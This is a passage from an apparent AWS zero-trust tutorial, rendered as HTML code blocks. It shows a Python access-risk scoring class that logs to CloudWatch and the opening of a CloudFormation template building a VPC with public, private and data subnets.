            <span class="sh">'</span><span class="s">user_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">user_id</span><span class="sh">'</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">).</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">decision</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">pending</span><span class="sh">'</span>
        <span class="p">}</span>
        
        <span class="c1"># Check MFA compliance
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">mfa_verified</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">30</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">MFA not verified</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Require MFA verification</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Check device compliance
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">device_compliant</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">25</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Device not compliant</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Use compliant device</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Check geographic location
</span>        <span class="k">if</span> <span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">location_anomaly</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Unusual geographic location</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Verify location and provide justification</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Check time-based access
</span>        <span class="n">access_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">))</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_business_hours</span><span class="p">(</span><span class="n">access_time</span><span class="p">):</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Access outside business hours</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Provide justification for after-hours access</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Check privilege level
</span>        <span class="n">requested_permissions</span> <span class="o">=</span> <span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">requested_permissions</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">has_high_privilege_actions</span><span class="p">(</span><span class="n">requested_permissions</span><span class="p">):</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">25</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">High privilege actions requested</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">Use least privilege principles</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Determine decision based on risk score
</span>        <span class="k">if</span> <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="mi">70</span><span class="p">:</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">decision</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">deny</span><span class="sh">'</span>
        <span class="k">elif</span> <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="mi">40</span><span class="p">:</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">decision</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">conditional_allow</span><span class="sh">'</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">decision</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">allow</span><span class="sh">'</span>
        
        <span class="c1"># Log analysis for monitoring
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">log_access_analysis</span><span class="p">(</span><span class="n">analysis_result</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">analysis_result</span>
    
    <span class="k">def</span> <span class="nf">is_business_hours</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">access_time</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if access is during approved business hours</span><span class="sh">"""</span>
        
        <span class="k">if</span> <span class="n">access_time</span><span class="p">.</span><span class="n">tzinfo</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">access_time</span> <span class="o">=</span> <span class="n">access_time</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
        
        <span class="c1"># Business hours: 7 AM to 7 PM UTC, Monday to Friday
</span>        <span class="n">hour</span> <span class="o">=</span> <span class="n">access_time</span><span class="p">.</span><span class="n">hour</span>
        <span class="n">weekday</span> <span class="o">=</span> <span class="n">access_time</span><span class="p">.</span><span class="nf">weekday</span><span class="p">()</span>
        
        <span class="nf">return </span><span class="p">(</span><span class="mi">7</span> <span class="o">&lt;=</span> <span class="n">hour</span> <span class="o">&lt;=</span> <span class="mi">19</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">weekday</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">has_high_privilege_actions</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">permissions</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if requested permissions include high-privilege actions</span><span class="sh">"""</span>
        
        <span class="n">high_privilege_patterns</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">iam:*</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">*:*</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">organizations:*</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">account:*</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">iam:CreateRole</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">iam:AttachRolePolicy</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">iam:CreateUser</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">iam:DeleteRole</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">iam:DeleteUser</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">ec2:TerminateInstances</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">rds:DeleteDBInstance</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">s3:DeleteBucket</span><span class="sh">'</span>
        <span class="p">]</span>
        
        <span class="k">for</span> <span class="n">permission</span> <span class="ow">in</span> <span class="n">permissions</span><span class="p">:</span>
            <span class="k">for</span> <span class="n">pattern</span> <span class="ow">in</span> <span class="n">high_privilege_patterns</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">pattern</span> <span class="ow">in</span> <span class="n">permission</span><span class="p">:</span>
                    <span class="k">return</span> <span class="bp">True</span>
        
        <span class="k">return</span> <span class="bp">False</span>
    
    <span class="k">def</span> <span class="nf">log_access_analysis</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">analysis_result</span><span class="p">:</span> <span class="n">Dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Log access analysis results for monitoring and compliance</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Put custom metric for risk score
</span>            <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">put_metric_data</span><span class="p">(</span>
                <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust/AccessAnalysis</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">MetricData</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">RiskScore</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">],</span>
                        <span class="sh">'</span><span class="s">Unit</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">None</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Dimensions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span>
                                <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Decision</span><span class="sh">'</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">decision</span><span class="sh">'</span><span class="p">]</span>
                            <span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">},</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ViolationCount</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">analysis_result</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">]),</span>
                        <span class="sh">'</span><span class="s">Unit</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Count</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">)</span>
            
            <span class="c1"># Log detailed analysis result
</span>            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Access analysis logged: </span><span class="si">{</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">analysis_result</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to log access analysis: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Example usage
</span><span class="n">monitoring_system</span> <span class="o">=</span> <span class="nc">ZeroTrustMonitoringSystem</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="cloudformation-template-for-complete-zero-trust-infrastructure">CloudFormation Template for Complete Zero Trust Infrastructure</h2>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
</pre></td><td class="rouge-code"><pre><span class="na">AWSTemplateFormatVersion</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2010-09-09'</span>
<span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Complete</span><span class="nv"> </span><span class="s">AWS</span><span class="nv"> </span><span class="s">Zero</span><span class="nv"> </span><span class="s">Trust</span><span class="nv"> </span><span class="s">Architecture</span><span class="nv"> </span><span class="s">Implementation'</span>

<span class="na">Parameters</span><span class="pi">:</span>
  <span class="na">VpcCidr</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s1">'</span><span class="s">10.0.0.0/16'</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">CIDR block for the Zero Trust VPC</span>
  
  <span class="na">IdentityCenterInstanceArn</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">ARN of existing IAM Identity Center instance</span>
  
  <span class="na">NotificationEmail</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Email for security notifications</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">security@example.com</span>

<span class="na">Resources</span><span class="pi">:</span>
  <span class="c1"># VPC and Network Infrastructure</span>
  <span class="na">ZeroTrustVPC</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::VPC</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">VpcCidr</span>
      <span class="na">EnableDnsHostnames</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">EnableDnsSupport</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-VPC</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">ZeroTrust</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s1">'</span><span class="s">true'</span>

  <span class="c1"># Internet Gateway</span>
  <span class="na">InternetGateway</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::InternetGateway</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-IGW</span>

  <span class="na">AttachGateway</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::VPCGatewayAttachment</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">InternetGatewayId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">InternetGateway</span>

  <span class="c1"># Public Subnets</span>
  <span class="na">PublicSubnet1</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Subnet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">0</span><span class="pi">,</span> <span class="kt">!Cidr</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">VpcCidr</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">]]</span>
      <span class="na">AvailabilityZone</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">0</span><span class="pi">,</span> <span class="kt">!GetAZs</span> <span class="s1">'</span><span class="s">'</span><span class="pi">]</span>
      <span class="na">MapPublicIpOnLaunch</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Public-1A</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Type</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">public</span>

  <span class="na">PublicSubnet2</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Subnet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">1</span><span class="pi">,</span> <span class="kt">!Cidr</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">VpcCidr</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">]]</span>
      <span class="na">AvailabilityZone</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">1</span><span class="pi">,</span> <span class="kt">!GetAZs</span> <span class="s1">'</span><span class="s">'</span><span class="pi">]</span>
      <span class="na">MapPublicIpOnLaunch</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Public-1B</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Type</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">public</span>

  <span class="c1"># Private Subnets</span>
  <span class="na">PrivateSubnet1</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Subnet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">2</span><span class="pi">,</span> <span class="kt">!Cidr</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">VpcCidr</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">]]</span>
      <span class="na">AvailabilityZone</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">0</span><span class="pi">,</span> <span class="kt">!GetAZs</span> <span class="s1">'</span><span class="s">'</span><span class="pi">]</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Private-1A</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Type</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">private</span>

  <span class="na">PrivateSubnet2</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Subnet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">3</span><span class="pi">,</span> <span class="kt">!Cidr</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">VpcCidr</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">]]</span>
      <span class="na">AvailabilityZone</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">1</span><span class="pi">,</span> <span class="kt">!GetAZs</span> <span class="s1">'</span><span class="s">'</span><span class="pi">]</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Private-1B</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Type</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">private</span>

  <span class="c1"># Data Subnets</span>
  <span class="na">DataSubnet1</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Subnet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">4</span><span class="pi">,</span> <span class="kt">!Cidr</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">VpcCidr</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">]]</span>
      <span class="na">AvailabilityZone</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">0</span><span class="pi">,</span> <span class="kt">!GetAZs</span> <span class="s1">'</span><span class="s">'</span><span class="pi">]</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Data-1A</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Type</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">data</span>

  <span class="na">DataSubnet2</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Subnet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">CidrBlock</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">5</span><span class="pi">,</span> <span class="kt">!Cidr</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">VpcCidr</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">,</span> <span class="nv">8</span><span class="pi">]]</span>
      <span class="na">AvailabilityZone</span><span class="pi">:</span> <span class="kt">!Select</span> <span class="pi">[</span><span class="nv">1</span><span class="pi">,</span> <span class="kt">!GetAZs</span> <span class="s1">'</span><span class="s">'</span><span class="pi">]</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Data-1B</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Type</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">data</span>

  <span class="c1"># NAT Gateways</span>
  <span class="na">NATGateway1EIP</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::EIP</span>
    <span class="na">DependsOn</span><span class="pi">:</span> <span class="s">AttachGateway</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Domain</span><span class="pi">:</span> <span class="s">vpc</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-NAT-1A-EIP</span>

  <span class="na">NATGateway2EIP</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::EIP</span>
    <span class="na">DependsOn</span><span class="pi">:</span> <span class="s">AttachGateway</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Domain</span><span class="pi">:</span> <span class="s">vpc</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-NAT-1B-EIP</span>

  <span class="na">NATGateway1</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::NatGateway</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AllocationId</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">NATGateway1EIP.AllocationId</span>
      <span class="na">SubnetId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicSubnet1</span>
